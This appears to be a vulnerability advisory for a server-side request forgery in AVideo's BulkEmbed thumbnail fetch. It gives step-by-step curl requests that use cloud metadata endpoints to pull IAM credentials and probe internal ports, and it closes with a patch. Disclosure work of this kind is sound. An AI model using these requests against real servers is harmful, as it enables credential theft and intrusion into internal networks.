AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources

Step 1: Authenticate and obtain session cookie

COOKIE=$(curl -s -c - "http://avideo.local/user" \
  -d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')

Step 2: Send BulkEmbed save request with internal URL as thumbnail

curl -s -b "PHPSESSID=$COOKIE" \
  "http://avideo.local/plugin/BulkEmbed/save.json.php" \
  -d "itemsToSave[0][title]=SSRF+Test" \
  -d "itemsToSave[0][description]=test" \
  -d "itemsToSave[0][duration]=PT1M" \
  -d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
  -d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "itemsToSave[0][date]="

Expected response:

{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}

Step 3: Retrieve the SSRF response from the saved thumbnail

# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"

The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.

Cloud metadata example targets:

• http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS IAM role names
• http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} — temporary AWS credentials
• http://metadata.google.internal/computeMetadata/v1/ — GCP metadata (requires header, may not work)
• http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Azure instance metadata

Internal network scanning:

• http://10.0.0.1:8080/ — probe internal services
• http://localhost:3306/ — probe local database ports

Impact

• Cloud credential theft: On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).
• Internal network reconnaissance: Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.
• Internal service data exfiltration: Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.
• Scope change: The attack crosses security boundaries — from the web application into the internal network/cloud infrastructure, which is a different trust zone.

Recommended Fix

Add isSSRFSafeURL() validation before the url_get_contents() call in plugin/BulkEmbed/save.json.php, consistent with all other URL-fetching endpoints:

    $thumbs = $value['thumbs'];
    if (!empty($thumbs)) {
        if (!isSSRFSafeURL($thumbs)) {
            _error_log("BulkEmbed: SSRF protection blocked thumbnail URL: " . $thumbs);
            continue;
        }
        $contentThumbs = url_get_contents($thumbs);
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);
            _error_log("thumbs={$thumbs} poster=$poster bytes=$bytes strlen=" . strlen($contentThumbs));
        } else {
            _error_log("ERROR thumbs={$thumbs} poster=$poster");
        }
    }